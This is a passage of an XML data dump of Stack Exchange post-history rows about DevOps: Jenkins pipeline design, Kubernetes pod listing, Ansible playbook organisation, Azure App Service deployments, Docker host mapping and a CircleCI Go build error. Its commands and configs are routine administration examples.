  <row Id="36264" PostHistoryTypeId="5" PostId="11484" RevisionGUID="47774137-421d-4a0b-bc55-bcdde8698617" CreationDate="2020-06-16T16:02:40.460" UserId="40" Comment="added 768 characters in body" Text="I recently built a build-test-publish-deploy-rollback pipeline and struggled with the question of one-or-many pipes. I decided on a single pipe to do all tasks, with the reason that it would be easy to go to one place, and tell the pipe what you want to do by entering parameters. It seemed like a good idea at the time, but I have smelled a few drawbacks since releasing it:&#xD;&#xA;&#xD;&#xA;1. A success or failure of a given pipeline build doesn't mean the application code is necessarily bad. For example, we had a push to production fail due to a bug in the pipe code, but that doesn't mean the app build is bad. But the Build Status Badge shows `Failed` in our ReadMe. Which isn't true (the way we see it).&#xD;&#xA;2. It is more complicated. There are several paths through the pipe, determined by the parameter values. More chance for error, harder to review, etc.&#xD;&#xA;3. Blatantly breaks the principle of single responsibility, as well as the principle of least amazement. It would not necessarily do what one might expect based on some rules i'd built in, for the purposes of protecting the users. With a simpler pipe, there'd be less chance of error.&#xD;&#xA;3. Our org isn't evolved to true Continuous Deploy yet, so there will always be a delay and a person pushing the &quot;deploy&quot; button, even to QA. We may move to CD into QA sooner rather than later, but we have to prove the safety and reliability of all of this before the higher-ups will be comfortable with CD into production.&#xD;&#xA;&#xD;&#xA;All of which speaks to separate pipes with clearly delineated functions. &#xD;&#xA;&#xD;&#xA;I am now building another pipeline for a service of the same type, and I plan to refactor to use separate pipes to build and deploy - same as @jayhendren listed above:&#xD;&#xA;&#xD;&#xA;1. Build, Test (barely exists at this point), Publish Artifacts&#xD;&#xA;  1. I am trying to build cookbooks to spin up temporary machines to deploy to give devs siloed test sandboxes.&#xD;&#xA;2. Deploy to QA&#xD;&#xA;3. Deploy to Prod&#xD;&#xA;&#xD;&#xA;One thing worth mentioning is we are definitely using Multibranch pipes, at least for the build pipes, and Declarative syntax wherever possible. &#xD;&#xA;Thinking about it as I write this, the Build pipe can stay as it is now, as a multibranch pipeline job built off of the Jenkinsfile living in the app's repo, and building on any push to github.&#xD;&#xA;Then I can manually build additional pipelines for deploying - templated so they're generic, and only pass the unique variables to each one.&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;&#xD;&#xA;I want to come back to this and contradict myself. After more internal discussion on the design, and my own growth as a Jenkins user, I went back to a **single pipe for all tasks**. &#xD;&#xA;&#xD;&#xA;The difference was using fewer parameters, and controlling the flow with the branch/PR that triggered the build. This way, although the tasks may vary, a pipe's output is based on its properties only. &#xD;&#xA;&#xD;&#xA;Obviously this reduces the overall complexity by only having one pipeline, although the single pipeline's conditional checks may become more complex to handle all the conditions.&#xD;&#xA;&#xD;&#xA;I should also add that doing the non-code design work like flow charts and diagrams helped expose the possibilities - going straight to code hid the big picture from me at first." ContentLicense="CC BY-SA 4.0" />
  <row Id="36266" PostHistoryTypeId="2" PostId="11833" RevisionGUID="4d788060-e914-43cf-abc9-73f70b224161" CreationDate="2020-06-16T17:49:47.200" UserId="2494" Text="I have a seed job using the plugin Jenkins Job DSL. I also have a shared library.&#xD;&#xA;&#xD;&#xA;I have tried using the `@Library` annotation to load the script and the `library` method. It cannot find the annotation and using `library` yields the following error:&#xD;&#xA;&#xD;&#xA;`No signature of method: simple_pipeline.library() is applicable for argument types: (java.lang.String) values: [platform-engineering-library@master]`&#xD;&#xA;&#xD;&#xA;How do I load a Jenkins Shared Library in a Jenkins Job DSL seed?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36267" PostHistoryTypeId="1" PostId="11833" RevisionGUID="4d788060-e914-43cf-abc9-73f70b224161" CreationDate="2020-06-16T17:49:47.200" UserId="2494" Text="How do I load a Jenkins Shared Library in a Jenkins Job DSL seed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36268" PostHistoryTypeId="3" PostId="11833" RevisionGUID="4d788060-e914-43cf-abc9-73f70b224161" CreationDate="2020-06-16T17:49:47.200" UserId="2494" Text="&lt;jenkins&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36269" PostHistoryTypeId="5" PostId="11816" RevisionGUID="6eb10e77-fe02-47ce-9ad0-9acbe382e306" CreationDate="2020-06-16T18:48:10.377" UserId="22720" Comment="added 134 characters in body" Text="During the deployments, occasionally I experienced issue with files being in use by App Service and thus not overwritten with newer versions.&#xD;&#xA;&#xD;&#xA;There are [multiple recommendations][1] to overcome this problem:&#xD;&#xA;&#xD;&#xA; - Run your app from the ZIP package directly&#xD;&#xA; - Stop your app or enable offline mode for your app during deployment (using App_Offline.htm)&#xD;&#xA; - Deploy to a staging slot with auto swap enabled.&#xD;&#xA;&#xD;&#xA;I am exploring the [local cache option][2], to fix a different problem, and it is not compatible with running from ZIP feature, as discussed [here][3] and [here][4] &#xD;&#xA;&#xD;&#xA;If I understand correctly, when using local cache, the ZIP with code is deployed to Storage Account, and then is loaded into memory on App Service restart.&#xD;&#xA;&#xD;&#xA;Does this mean, the issue with locked files is eliminated by using local cache, since the code is not run from the same place where it's deployed to?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/app-service/deploy-zip#what-happens-to-my-app-during-deployment&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/app-service/overview-local-cache&#xD;&#xA;  [3]: https://github.com/Azure/app-service-announcements/issues/84&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/azure-functions/run-functions-from-deployment-package#troubleshooting" ContentLicense="CC BY-SA 4.0" />
  <row Id="36270" PostHistoryTypeId="2" PostId="11834" RevisionGUID="128cfb28-1a49-45cf-9e5e-645b936b2321" CreationDate="2020-06-16T22:27:09.957" UserId="22775" Text="I have multiple clusters that I want to query and in each cluster I want to find and list the versions of the pods running in there.&#xD;&#xA;&#xD;&#xA;I've written a shell script that sets the namespace and then changes context to each cluster and then runs `kubectl describe pods | grep &quot;/version=&quot; -B1` in each cluster.&#xD;&#xA;&#xD;&#xA;This seems to be a very hacky and clumsy approach to this problem. Is there a succinct command in the Kubernetes realm that I can issue that will take a list of clusters and return the name/version of each pod?&#xD;&#xA;&#xD;&#xA;I feel that there are 2 problems described here and help with either or both would be appreciated:&#xD;&#xA;&#xD;&#xA;1. How do I issue commands like `kubectl describe pods` to multiple clusters at the same time and aggregate those results?&#xD;&#xA;2. What is best way to list names with versions of each pod in a cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36271" PostHistoryTypeId="1" PostId="11834" RevisionGUID="128cfb28-1a49-45cf-9e5e-645b936b2321" CreationDate="2020-06-16T22:27:09.957" UserId="22775" Text="How do I list pod name/version across multiple clusters in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="36272" PostHistoryTypeId="3" PostId="11834" RevisionGUID="128cfb28-1a49-45cf-9e5e-645b936b2321" CreationDate="2020-06-16T22:27:09.957" UserId="22775" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36273" PostHistoryTypeId="5" PostId="11834" RevisionGUID="8b485952-a485-4a80-962c-1538ffd1cedd" CreationDate="2020-06-16T22:34:35.910" UserId="22775" Comment="added 227 characters in body" Text="I have multiple clusters that I want to query and in each cluster I want to find and list the versions of the pods running in there.&#xD;&#xA;&#xD;&#xA;I've written a shell script that sets the namespace and then changes context to each cluster and then runs `kubectl describe pods | grep &quot;/version=&quot; -B1` in each cluster.&#xD;&#xA;&#xD;&#xA;This seems to be a very hacky and clumsy approach to this problem. Is there a succinct command in the Kubernetes realm that I can issue that will take a list of clusters and return the name/version of each pod?&#xD;&#xA;&#xD;&#xA;I feel that there are 2 problems described here and help with either or both would be appreciated:&#xD;&#xA;&#xD;&#xA;1. How do I issue commands like `kubectl describe pods` to multiple clusters at the same time and aggregate those results?&#xD;&#xA;2. What is best way to list names with versions of each pod in a cluster?&#xD;&#xA;&#xD;&#xA;Update: I built an assumption into the questions that the answer would be a scripted `kubectl` command but it does not need to be. The objective is to find all the name/version combos of all pods running in listed clusters." ContentLicense="CC BY-SA 4.0" />
  <row Id="36274" PostHistoryTypeId="2" PostId="11835" RevisionGUID="0498ada4-d909-4ee3-b5ee-60e51984bd7b" CreationDate="2020-06-16T23:06:19.373" UserId="22776" Text="The best I have found so far for part 2 is to use the JSON output of `get pods`:&#xD;&#xA;```&#xD;&#xA;kubectl get pods -o json | jq '.items[] | select(.metadata.labels.&quot;app.kubernetes.io/name&quot;) | { name: .metadata.labels.&quot;app.kubernetes.io/name&quot;, version: .metadata.labels.&quot;app.kubernetes.io/version&quot; }'&#xD;&#xA;```&#xD;&#xA;produces&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;name&quot;: &quot;db&quot;,&#xD;&#xA;  &quot;version&quot;: &quot;0.0.1&quot;&#xD;&#xA;}&#xD;&#xA;{&#xD;&#xA;  &quot;name&quot;: &quot;app&quot;,&#xD;&#xA;  &quot;version&quot;: &quot;0.0.1&quot;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36275" PostHistoryTypeId="2" PostId="11836" RevisionGUID="0cf1c1ef-2917-4ed2-ba5d-2f62a13bf9a9" CreationDate="2020-06-17T05:57:40.193" UserId="22779" Text="Say, i have written bunch of ansible roles and playbooks, configured  my playbooks structure and now i'm trying to tie them to one playbook which will do its thing depending on tags or inventory file provided. Should i strive for that? Or is it better to have bunch of playbooks and call them depending on the tasks/hosts needed? What is the best way to go about this? I can't seem to find any example of tying it all together in one playbook or bunch of them which will do its thing to ones infrastructure depending on arguments provided. &#xD;&#xA;&#xD;&#xA;Best practice in ansible docs covers organization of playbook structure but not organization of playbook use on infrastructure. Is there any examples of organizing playbooks use on infrastructure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36276" PostHistoryTypeId="1" PostId="11836" RevisionGUID="0cf1c1ef-2917-4ed2-ba5d-2f62a13bf9a9" CreationDate="2020-06-17T05:57:40.193" UserId="22779" Text="Tying playbooks together" ContentLicense="CC BY-SA 4.0" />
  <row Id="36277" PostHistoryTypeId="3" PostId="11836" RevisionGUID="0cf1c1ef-2917-4ed2-ba5d-2f62a13bf9a9" CreationDate="2020-06-17T05:57:40.193" UserId="22779" Text="&lt;ansible&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36278" PostHistoryTypeId="5" PostId="11703" RevisionGUID="1c640e5a-06ed-4434-8bc1-2ce0308f786b" CreationDate="2020-06-17T07:26:40.167" UserId="22450" Comment="added 4 characters in body" Text="I have a variable named packages as showed below, it is not a plain list, I have some nested dict in it like browsers.&#xD;&#xA;```yaml&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;packages:&#xD;&#xA;  - apt-file&#xD;&#xA;  - axel&#xD;&#xA;  - ibus-rime&#xD;&#xA;  - rofi&#xD;&#xA;  - i3&#xD;&#xA;  - ffmpeg&#xD;&#xA;  - xclip&#xD;&#xA;  - cargo&#xD;&#xA;  - httpie&#xD;&#xA;  - ttf-ubuntu-font-family&#xD;&#xA;  - tldr-py&#xD;&#xA;  - glances&#xD;&#xA;  - browsers:&#xD;&#xA;    - brave-browser&#xD;&#xA;    - chromium&#xD;&#xA;  - editors:&#xD;&#xA;    - emacs&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'd like to use instructions like below&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Install a list of packages&#xD;&#xA;	become: yes&#xD;&#xA;	apt:&#xD;&#xA;		name: &quot;{{ packages }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;to install all the pacakges defined in the variable, but I do not know what filter I should use the convert the variable to plain list, I need the items in the nested dictionary.&#xD;&#xA;&#xD;&#xA;any help will be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="36279" PostHistoryTypeId="2" PostId="11837" RevisionGUID="d3096cbe-b7e0-49a9-988f-7830df7d04f6" CreationDate="2020-06-17T07:31:18.923" UserId="22450" Text="I probably should use comment instead group the value in a dict who's value is a list&#xD;&#xA;&#xD;&#xA;like&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;packages:&#xD;&#xA;  - apt-file&#xD;&#xA;  - axel&#xD;&#xA;  - ibus-rime&#xD;&#xA;  - rofi&#xD;&#xA;  - i3&#xD;&#xA;  - ffmpeg&#xD;&#xA;  - xclip&#xD;&#xA;  - cargo&#xD;&#xA;  - httpie&#xD;&#xA;  - ttf-ubuntu-font-family&#xD;&#xA;  - tldr-py&#xD;&#xA;  - glances&#xD;&#xA;  # browsers:&#xD;&#xA;  - brave-browser&#xD;&#xA;  - chromium&#xD;&#xA;  # editors&#xD;&#xA;  - emacs&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36283" PostHistoryTypeId="2" PostId="11839" RevisionGUID="740e2614-4a59-47d6-b588-c2c805d5123b" CreationDate="2020-06-17T14:31:58.193" UserId="6341" Text="Because this link has direction from one side to another. Only one work item can on the start of this direction. However, work item:&#xD;&#xA;&#xD;&#xA; 1. Can has many successor&#xD;&#xA; 2. Can has many predecessor.&#xD;&#xA;&#xD;&#xA;This type of link can not create the cycle, like:&#xD;&#xA;&#xD;&#xA; 1. Wi1 successor to WI2&#xD;&#xA; 1. Wi2 successor to WI1" ContentLicense="CC BY-SA 4.0" />
  <row Id="36284" PostHistoryTypeId="2" PostId="11840" RevisionGUID="3da3bd0d-ef57-48c6-908c-c714e3521290" CreationDate="2020-06-17T15:01:42.200" UserId="19639" Text="The `extra_hosts` setting in `docker-compose` might help you. [Docs][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#extra_hosts" ContentLicense="CC BY-SA 4.0" />
  <row Id="36288" PostHistoryTypeId="50" PostId="10524" RevisionGUID="c42d2e1b-0d30-4cb6-9a5d-9c1f3b1acca8" CreationDate="2020-06-17T18:11:01.253" UserId="-1" />
  <row Id="36289" PostHistoryTypeId="2" PostId="11842" RevisionGUID="1bc82ed2-1a4f-4563-81a2-24211c0e26a6" CreationDate="2020-06-17T19:00:53.017" UserId="22793" Text="We're transitioning between accounts and we have an app on our new account but we want to use the domain from our old account. We plan on shutting off the old account soon and transitioning everything over, but there's services running on the old account so we can't do that yet.&#xD;&#xA;&#xD;&#xA;The best idea I had is to try and use RAM and share the VPC instance and then set a new load balancer in the old account and have a DNS entry in Route 53 pointing to that load balancer. Whenever I try to share the resource it's giving me and error that I don't have permissions to share with an external account, even when I use a root account, I've tried writing policies to give myself permissions but that didn't work either, but I could have written the permissions incorrectly.&#xD;&#xA;&#xD;&#xA;Would anyone know how to fix this permissions issue? Or know of a better way to achieve my goal?&#xD;&#xA;&#xD;&#xA;Let me know if you need any other info." ContentLicense="CC BY-SA 4.0" />
  <row Id="36290" PostHistoryTypeId="1" PostId="11842" RevisionGUID="1bc82ed2-1a4f-4563-81a2-24211c0e26a6" CreationDate="2020-06-17T19:00:53.017" UserId="22793" Text="AWS Setting instance to use domain from another account" ContentLicense="CC BY-SA 4.0" />
  <row Id="36291" PostHistoryTypeId="3" PostId="11842" RevisionGUID="1bc82ed2-1a4f-4563-81a2-24211c0e26a6" CreationDate="2020-06-17T19:00:53.017" UserId="22793" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36295" PostHistoryTypeId="2" PostId="11844" RevisionGUID="d2f5a479-2fc1-46b6-9515-46f6b684326e" CreationDate="2020-06-17T20:24:37.997" UserId="22796" Text="You might consider using the pipeline trigger YAML override feature.&#xD;&#xA;&#xD;&#xA;Go to the pipeline designer/editor view. Next to the &quot;Run&quot; button is the ellipsis. From that menu, select &quot;Triggers&quot;. From the &quot;Continuous Integration&quot; section, you can choose &quot;Override the YAML continuous integration trigger from here&quot;. Then you can tailor the pipeline triggers very specifically without the need to define them in the YAML." ContentLicense="CC BY-SA 4.0" />
  <row Id="36296" PostHistoryTypeId="2" PostId="11845" RevisionGUID="6df06aa6-2c94-4013-bdf7-96f19413bbec" CreationDate="2020-06-17T20:47:13.810" UserId="22796" Text="You've discovered one of the great pitfalls with TFVC. I have also not found an answer to this issue.&#xD;&#xA;&#xD;&#xA;The only possible option I've seen around getting code from TFVC out of different branches is to base your pipeline off the highest point of the source tree possible (i.e. the highest common parent folder of all branches) and always build using source labels. You have to do this otherwise a label based build request will checkout nothing if the labeled path(s) do not fall under the pipeline's source root path.&#xD;&#xA;&#xD;&#xA;A side effect of this is that in the build agent working directory the checked out code is going to land in a physical folder path that includes all the parent folders going up to the root specified by the pipeline's source root. If your build tasks are generic enough to tolerate this it might work. However, in my experience, the build tasks need to collect artifacts which will essentially be in an unknown location (based on the arbitrary branch) so you'll need something a bit smarter to get the path from which to collect said artifacts. It gets messy quickly. &#xD;&#xA;&#xD;&#xA;Another side effect of this is that you can't do continuous integration builds. In order to support getting code from labeled locations, the pipeline's source location is the base path of all possible branches. A CI triggered build then has no context for which instance of a project to build (i.e. which branch). While you could probably extract the branch of a commit from the commit data, you'd need more complicated build scripts to do so.&#xD;&#xA;&#xD;&#xA;I've found the pain of this to be far greater than just migrating to Git which allows for considerably more flexibility for building from arbitrary branches since the pipeline is based on the standard repo root from which all branches are based. Since Microsoft has done all but outright state that TFVC is going away, your time may be better invested in migrating to Git to take advantage of this and the other things it provides." ContentLicense="CC BY-SA 4.0" />
  <row Id="36297" PostHistoryTypeId="2" PostId="11846" RevisionGUID="8bd5b8d0-d6df-4cb0-bd5d-29d02c65e3f8" CreationDate="2020-06-17T20:52:08.883" UserId="22799" Text="If I'm getting this right; Maybe you can just create on your old account's Route53 public hosted zone a CNAME record (if you have a load balancer on your new account) or an A record for the instance on your new account. Just don't use the Alias functionality from Route53 as you wont find the resources from the new account." ContentLicense="CC BY-SA 4.0" />
  <row Id="36298" PostHistoryTypeId="2" PostId="11847" RevisionGUID="332a9e43-c605-463a-be97-c4fa6f69b9e3" CreationDate="2020-06-17T21:05:08.947" UserId="22799" Text="What I have done before goes on the same direction as Zeitounator commented; you can have one or more &quot;meta&quot; or master playbooks that import the ones you need to run your entire automation. To add to Zaito's comment; you can use the `when` clause on `import_playbook` to control the execution of those &quot;inner&quot; playbooks; something like this:&#xD;&#xA;&#xD;&#xA;Say you want to execute PlatformB playbooks only for an stg or prod environment using a defined `env` ansible variable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- include: platformA/do_something_on_platformA.yml&#xD;&#xA;- include: platformB/do_something_on_platformB.yml&#xD;&#xA;  when: env == 'stg' or env == 'prod'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;you could change the value of `env` using `--extra-vars` on execution time or something.&#xD;&#xA;&#xD;&#xA;hope it helps, cheers." ContentLicense="CC BY-SA 4.0" />
  <row Id="36299" PostHistoryTypeId="2" PostId="11848" RevisionGUID="eee30c0c-c120-4f1d-bd01-b1d81df102a0" CreationDate="2020-06-17T23:08:35.200" UserId="22720" Text="The answer is no, **if you are using the [recommended setup][1]**, which is:&#xD;&#xA;&#xD;&#xA; - App Service should have Staging and Production slots&#xD;&#xA; - Staging slot has Local Cache disabled&#xD;&#xA; - Production slot has Local Cache enabled&#xD;&#xA; - The following settings are configured as &quot;Slot setting&quot; aka &quot;Sticky setting&quot; - WEBSITE_LOCAL_CACHE_OPTION, WEBSITE_LOCAL_CACHE_SIZEINMB&#xD;&#xA; - The code is deployed to Staging slot&#xD;&#xA; - Staging slot is swapped with Production slot&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For deployments to Staging, I created the following steps:&#xD;&#xA;&#xD;&#xA; 1. Shut down Staging slot by introducing App_Offline.htm (POST to SCM URI or can be part of artifact being deployed)&#xD;&#xA; 2. Wait for slot to stop before cleaning (probe the URL of Staging slot)&#xD;&#xA; 3. Cleanup wwwroot (post to SCM URI) - this is to clean unused files. Deployments [are not incremental][2], so if it's important to have clean old files, you can introduce this step.&#xD;&#xA; 4. Deploy to Staging slot using `az webapp deployment source config-zip`&#xD;&#xA; 5. Remove App_Offline.htm (POST to SCM URI)&#xD;&#xA;&#xD;&#xA;For swapping slots:&#xD;&#xA;&#xD;&#xA; 1. Check Staging slot is up and ready (probe the URL of Staging slot) - this one is useful when triggering deployment environments in Atlassian Bamboo when deployed to Staging. You need to wait for Staging to be up and loaded before swapping, otherwise issues may occur&#xD;&#xA; 2. Swap the slots using `az webapp deployment slot swap`&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/app-service/overview-local-cache#best-practices-for-using-app-service-local-cache&#xD;&#xA;  [2]: https://github.com/projectkudu/kudu/issues/2103#issuecomment-240768840&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you deploy directly to Production slot, and restart it right after (because of Local Cache enabled), then yes, there should be no file locks when using this method. But this creates the downtime during deployment, in contrast with deployments to Staging slot and swapping it with Production." ContentLicense="CC BY-SA 4.0" />
  <row Id="36300" PostHistoryTypeId="2" PostId="11849" RevisionGUID="fe500d4b-7824-46e4-bb39-dacaa9b7311a" CreationDate="2020-06-18T05:39:21.030" UserId="22804" Text="Go and devops are both new things for me. I'd like to setup a CI that tests and builds my module, then stores artifacts for download. In addition it'd be good to cache dependencies for next builds.&#xD;&#xA;&#xD;&#xA;I don't get how to do it using subdirectory for the go product. I want my git repository to look like that:&#xD;&#xA;```&#xD;&#xA;- repository_root/&#xD;&#xA;  - go/&#xD;&#xA;    - go.mod&#xD;&#xA;    - go.sum&#xD;&#xA;    - hello/&#xD;&#xA;      - main.go&#xD;&#xA;  - cpp/&#xD;&#xA;  - python/&#xD;&#xA;  - .circleci/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;go.mod&#xD;&#xA;```&#xD;&#xA;module github.com/{USER}/{REPOSITORY_ROOT}/go&#xD;&#xA;&#xD;&#xA;go 1.14&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Of course {USER} is replace with my github user name and {REPOSITORY_ROOT} is the repo name.&#xD;&#xA;&#xD;&#xA;For now I have a following config.yml that doesn't work.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2&#xD;&#xA;jobs:&#xD;&#xA;  build:&#xD;&#xA;    docker:&#xD;&#xA;      - image: circleci/golang:1.9&#xD;&#xA;&#xD;&#xA;    steps:&#xD;&#xA;      - checkout&#xD;&#xA;      - run: mkdir bin&#xD;&#xA;      - run: cd go &amp;&amp; go get -v -t -d ./...&#xD;&#xA;      - run: cd go &amp;&amp; go test -v ./...&#xD;&#xA;      - run: cd go &amp;&amp; go build github.com/{USER}/hello -o bin/&#xD;&#xA;&#xD;&#xA;      - store_artifacts:&#xD;&#xA;          path: hello&#xD;&#xA;          destination: hello-app&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Error:&#xD;&#xA;```&#xD;&#xA;#!/bin/bash -eo pipefail&#xD;&#xA;cd go &amp;&amp; go build github.com/{USER}/hello -o bin/&#xD;&#xA;can't load package: package github.com/{USER}/hello: cannot find package &quot;github.com/{USER}/hello&quot; in any of:&#xD;&#xA;	/usr/local/go/src/github.com/{USER}/hello (from $GOROOT)&#xD;&#xA;	/go/src/github.com/{USER}/hello (from $GOPATH)&#xD;&#xA;can't load package: package -o: cannot find package &quot;-o&quot; in any of:&#xD;&#xA;	/usr/local/go/src/-o (from $GOROOT)&#xD;&#xA;	/go/src/-o (from $GOPATH)&#xD;&#xA;can't load package: package bin: cannot find package &quot;bin&quot; in any of:&#xD;&#xA;	/usr/local/go/src/bin (from $GOROOT)&#xD;&#xA;	/go/src/bin (from $GOPATH)&#xD;&#xA;&#xD;&#xA;Exited with code exit status 1&#xD;&#xA;CircleCI received exit code 1&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36301" PostHistoryTypeId="1" PostId="11849" RevisionGUID="fe500d4b-7824-46e4-bb39-dacaa9b7311a" CreationDate="2020-06-18T05:39:21.030" UserId="22804" Text="golang and circle CI setup" ContentLicense="CC BY-SA 4.0" />
  <row Id="36302" PostHistoryTypeId="3" PostId="11849" RevisionGUID="fe500d4b-7824-46e4-bb39-dacaa9b7311a" CreationDate="2020-06-18T05:39:21.030" UserId="22804" Text="&lt;cicd&gt;&lt;circleci&gt;&lt;go&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36305" PostHistoryTypeId="2" PostId="11850" RevisionGUID="023fefa6-7127-4359-a04b-e4c13cf667a0" CreationDate="2020-06-18T06:26:02.380" UserId="19071" Text="K8s has self-healing builtin features, if a pod crash then it will be replaced with the new pod but its log is gone. So what is the best way to monitor K8s pods in case of outage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36306" PostHistoryTypeId="1" PostId="11850" RevisionGUID="023fefa6-7127-4359-a04b-e4c13cf667a0" CreationDate="2020-06-18T06:26:02.380" UserId="19071" Text="Monitoring K8s Pods in case of outage" ContentLicense="CC BY-SA 4.0" />
  <row Id="36307" PostHistoryTypeId="3" PostId="11850" RevisionGUID="023fefa6-7127-4359-a04b-e4c13cf667a0" CreationDate="2020-06-18T06:26:02.380" UserId="19071" Text="&lt;kubernetes&gt;&lt;monitoring&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36308" PostHistoryTypeId="2" PostId="11851" RevisionGUID="6068b3e2-b4ab-493b-b99c-a53b5c1b451a" CreationDate="2020-06-18T08:12:01.390" UserId="22526" Text="Is this what you are trying to do?&#xD;&#xA;&#xD;&#xA;    $ docker run --add-host foo:127.0.0.42 alpine ping foo -c 3&#xD;&#xA;    PING foo (127.0.0.42): 56 data bytes&#xD;&#xA;    64 bytes from 127.0.0.42: seq=0 ttl=64 time=0.045 ms&#xD;&#xA;    64 bytes from 127.0.0.42: seq=1 ttl=64 time=0.061 ms&#xD;&#xA;    64 bytes from 127.0.0.42: seq=2 ttl=64 time=0.070 ms&#xD;&#xA;    &#xD;&#xA;    --- foo ping statistics ---&#xD;&#xA;    3 packets transmitted, 3 packets received, 0% packet loss&#xD;&#xA;    round-trip min/avg/max = 0.045/0.058/0.070 ms&#xD;&#xA;&#xD;&#xA;Look for --add-host parameter for [docker run][1] or [extra_hosts][2] for docker-compose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/run/&#xD;&#xA;  [2]: https://docs.docker.com/compose/compose-file/#extra_hosts" ContentLicense="CC BY-SA 4.0" />
  <row Id="36309" PostHistoryTypeId="5" PostId="3131" RevisionGUID="be1a276e-99de-4c69-b981-54ffe3708920" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I've discovered a number of open source tools over the years which have become an essential part of my personal workflow &amp; productivity in my current day job (project manager / business analyst). I can often move from company-to-company and even account/machine (and OS too) and want to get up and running with the minimum of fuss.&#xA;&#xA;What I'm trying to combine:&#xA;&#xA; - **[apps/tools][1]** (which use a variety of frameworks and languages including python, flask, javascript, node, java etc)&#xA; - **config files**&#xA; - **other misc. files** (e.g. fonts)&#xA;&#xA;**However, by necessity, I am often behind corporate firewalls and restrictive IT policies** which make it time-consuming to get internal license approvals for each tool, download each of the tools individually, keep them up-to-date, blocked external package repos, maintaining &amp; building-upon the associated configuration files over time...&#xA;&#xA;### Docker is the obvious solution here, but...&#xA;### ... it is often blocked by these same IT policies, as are its alternatives.&#xA;&#xA;# What I've tried&#xA;&#xA;Using a **[GitHub repository][2]**, I've since settled on building/installing everything locally, making it 'portable' (using batch scripts, symlinks and a number of config file tweaks) and then uploading.&#xA;&#xA;Drawbacks of this approach include: the complexity, difficulty maintaining this cross-platform (currently windows-only), working around applications installed via git-clone, working around quirks of 'portable' versions of runtime dependencies like Python, github 50mb single file-size limits...&#xA;&#xA;# Another possible approach I considered&#xA;&#xA;**Using continuous integration** (like Travis-CI and AppVeyor), my main concern here is that I've not actually 'built' some of the apps I use (e.g. emacs-w64, which I download the pre-built binaries for) so wondering if this will just add more complexity than my current solution ... and since Travis-CI doesn't support windows it adds an additional dependency, as well as the overhead of learning the continuous integration world &amp; maintaining build scripts for linux, osx &amp; windows..&#xA;&#xA;I'm not looking to open up discussion here, but an answer that will meet my needs with the minimum of fuss (this is for personal use rather than devops for my company / others after all) from the experts ... even if the answer is simply that I need to put the effort into a CI solution...&#xA;&#xA;  [1]: https://github.com/xeijin/propositum#components&#xA;  [2]: https://github.com/xeijin/propositum" ContentLicense="CC BY-SA 4.0" />
  <row Id="36310" PostHistoryTypeId="5" PostId="732" RevisionGUID="b8007afb-1b24-482c-b68a-9570ef2264db" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="After reading [Tensibai's excellent answer][1], I realised I used to be able to calculate this for network analysis purposes.  I dug out my copy of [High Availability Network Fundamentals][2] by Chris Oggerino and had a crack at working this out from, not quite first principals.&#xA;&#xA;Taking my serial example directly out of Tensibai's answer is simply a case of multiplying the probability of each component being available by the other:&#xA;&#xA;[![Serial Availability][3]][3]&#xA;&#xA;So &#xA;&#xA;&gt; 99.95% * 99.95% = **99.9%**&#xA;&#xA;Calculating it in parallel is a little more complicated as we do need to consider what the percentage *un*availability will be:&#xA;&#xA;[![Serial and Parallel Availability][4]][4]&#xA;&#xA;The calculation is done as follows:&#xA;&#xA; 1. Multiply the *un*availability of the two regions together.&#xA;&#xA;     &gt; 0.1% * 0.1% = **0.0001%**&#xA;&#xA; 2. Convert that back to availability&#xA;&#xA;     &gt; 100% - 0.0001% = **99.9999%**&#xA;&#xA; 3. Multiply the Traffic Manager availability by the availability of the two regions.&#xA;&#xA;     &gt; 99.99% * 99.9999% = **99.9899%**&#xA;&#xA; 4. The result is the whole system availability.&#xA;&#xA;     &gt; 99.9899% is close to **99.99%**&#xA;&#xA;I ended up using Excel to perform the calculations, here is the 